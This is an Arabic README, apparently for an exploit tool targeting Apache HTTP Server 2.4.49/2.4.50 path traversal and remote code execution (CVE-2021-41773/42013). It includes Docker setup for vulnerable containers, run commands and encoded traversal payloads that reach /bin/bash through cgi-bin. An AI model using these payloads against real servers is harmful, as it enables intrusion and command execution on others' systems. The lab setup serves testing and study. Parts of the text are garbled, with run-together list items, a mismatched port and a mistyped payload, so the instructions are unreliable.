
نص استغلال لـ Apache HTTP Server 2.4.49/2.4.50 لاجتياز المسار وتنفيذ التعليمات البرمجية عن بُعد (CVE-2021-41773). يتضمن بيئة استنساخ قائمة على Docker وشرحًا مفصلاً لتقنية تجاوز ترميز URL المزدوج.
تم العثور على ثغرة في تغيير تم إجراؤه على تسوية المسار في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الأدلة التي تم تكوينها بواسطة توجيهات مشابهة لـ Alias. إذا كانت الملفات خارج هذه الأدلة غير محمية بالتكوين الافتراضي "require all denied"، فقد تنجح هذه الطلبات. إذا كانت نصوص CGI ممكّنة أيضًا لهذه المسارات المستعارة، فقد يسمح ذلك بتنفيذ أوامر عن بُعد. من المعروف أن هذه الثغرة يتم استغلالها في البيئات الحية. تؤثر هذه الثغرة فقط على Apache 2.4.49 وليس الإصدارات الأقدم. كان الإصلاح في Apache HTTP Server 2.4.50 غير مكتمل، انظر CVE-2021-42013.
pip3 install colorama)perl مثال hello-world يعمل داخل الحاوياتقم بتشغيل خادم Apache httpd ضعيف (بالإعدادات الافتراضية) كحاوية docker/podman.
| Dockerfile | الحاوية | الإصدار |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| الحاوية | منفذ الاستماع |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 اختر الهجوم على الإصدار 2.4.49
1.3 python3 main.py localhost:2450
1.4 اختر الهجوم على الإصدار 2.4.50
سيقوم الاستغلال باستخدام وحدة CGI الخاصة بـ Apache httpd للسماح بتنفيذ أوامر قابلة للتنفيذ عبر اجتياز المسار.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ هو ترميز URL ويساوي ../ إذا تم فك الترميز.
.%%32%658 هو ترميز URL مزدوج ويساوي أيضًا ../ إذا تم فك الترميز.